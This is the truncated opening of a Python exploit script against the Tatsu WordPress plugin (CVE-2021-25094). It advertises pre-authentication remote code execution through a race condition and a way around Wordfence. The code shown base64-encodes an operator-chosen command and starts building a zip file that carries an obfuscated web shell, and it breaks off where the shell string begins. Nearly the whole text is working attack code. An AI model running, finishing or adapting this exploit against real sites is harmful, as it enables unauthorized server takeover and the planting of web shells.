#!/usr/bin/python3 # coding: utf-8 # Tatsudo: Tatsu <= 3.3.11 pre-auth RCE exploit via Race condition # The exploit bypass Wordfence # # Product: Tatsu wordpress plugin <= 3.3.11 # CVE: CVE-2021-25094 / Vincent MICHEL (@darkpills) # Editor: Tasubuilder / BrandExponents.com # URL: https://tatsubuilder.com/ import sys import requests import argparse import urllib3 import threading import time import base64 import queue import io import os import zipfile import string import random from datetime import datetime urllib3.disable_warnings() class HTTPCaller(): def __init__(self, url, headers, proxies, cmd): self.url = url self.headers = headers self.proxies = proxies self.cmd = cmd self.encodedCmd = base64.b64encode(cmd.encode("utf8")) self.zipname = None self.shellFilename = None if self.url[-1] == '/': self.url = self.url[:-1] if proxies: self.proxies = {"http" : proxies, "https" : proxies} else: self.proxies = {} def generateZip(self, nbFiles, compressionLevel, customShell): buffer = io.BytesIO() with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED, False, compressionLevel) as zipFile: # Write shell first if customShell and os.path.isfile(customShell): with open(customShell) as f: shell = f.readlines() shell = "\n".join(shell) else: # a lazy obfuscated shell, basic bypass Wordfence # i would change base64 encoding for something better shell = "